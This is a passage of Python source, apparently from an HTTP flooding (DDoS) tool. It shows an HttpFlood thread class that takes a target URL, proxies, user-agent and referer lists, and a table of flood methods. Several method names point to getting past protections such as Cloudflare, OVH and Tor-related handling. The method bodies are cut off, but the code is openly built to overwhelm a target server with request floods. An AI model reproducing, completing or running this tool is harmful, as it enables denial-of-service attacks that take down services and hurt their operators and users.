| 774 | |
| 775 | # noinspection PyBroadException,PyUnusedLocal |
| 776 | class HttpFlood(Thread): |
| 777 | _proxies: List[Proxy] = None |
| 778 | _payload: str |
| 779 | _defaultpayload: Any |
| 780 | _req_type: str |
| 781 | _useragents: List[str] |
| 782 | _referers: List[str] |
| 783 | _target: URL |
| 784 | _method: str |
| 785 | _rpc: int |
| 786 | _synevent: Any |
| 787 | SENT_FLOOD: Any |
| 788 | |
| 789 | def __init__(self, |
| 790 | thread_id: int, |
| 791 | target: URL, |
| 792 | host: str, |
| 793 | method: str = "GET", |
| 794 | rpc: int = 1, |
| 795 | synevent: Event = None, |
| 796 | useragents: Set[str] = None, |
| 797 | referers: Set[str] = None, |
| 798 | proxies: Set[Proxy] = None) -> None: |
| 799 | Thread.__init__(self, daemon=True) |
| 800 | self.SENT_FLOOD = None |
| 801 | self._thread_id = thread_id |
| 802 | self._synevent = synevent |
| 803 | self._rpc = rpc |
| 804 | self._method = method |
| 805 | self._target = target |
| 806 | self._host = host |
| 807 | self._raw_target = (self._host, (self._target.port or 80)) |
| 808 | |
| 809 | if not self._target.host[len(self._target.host) - 1].isdigit(): |
| 810 | self._raw_target = (self._host, (self._target.port or 80)) |
| 811 | |
| 812 | self.methods = { |
| 813 | "POST": self.POST, |
| 814 | "CFB": self.CFB, |
| 815 | "CFBUAM": self.CFBUAM, |
| 816 | "XMLRPC": self.XMLRPC, |
| 817 | "BOT": self.BOT, |
| 818 | "APACHE": self.APACHE, |
| 819 | "BYPASS": self.BYPASS, |
| 820 | "DGB": self.DGB, |
| 821 | "OVH": self.OVH, |
| 822 | "AVB": self.AVB, |
| 823 | "STRESS": self.STRESS, |
| 824 | "DYN": self.DYN, |
| 825 | "SLOW": self.SLOW, |
| 826 | "GSB": self.GSB, |
| 827 | "RHEX": self.RHEX, |
| 828 | "STOMP": self.STOMP, |
| 829 | "NULL": self.NULL, |
| 830 | "COOKIE": self.COOKIES, |
| 831 | "TOR": self.TOR, |
| 832 | "EVEN": self.EVEN, |
| 833 | "DOWNLOADER": self.DOWNLOADER, |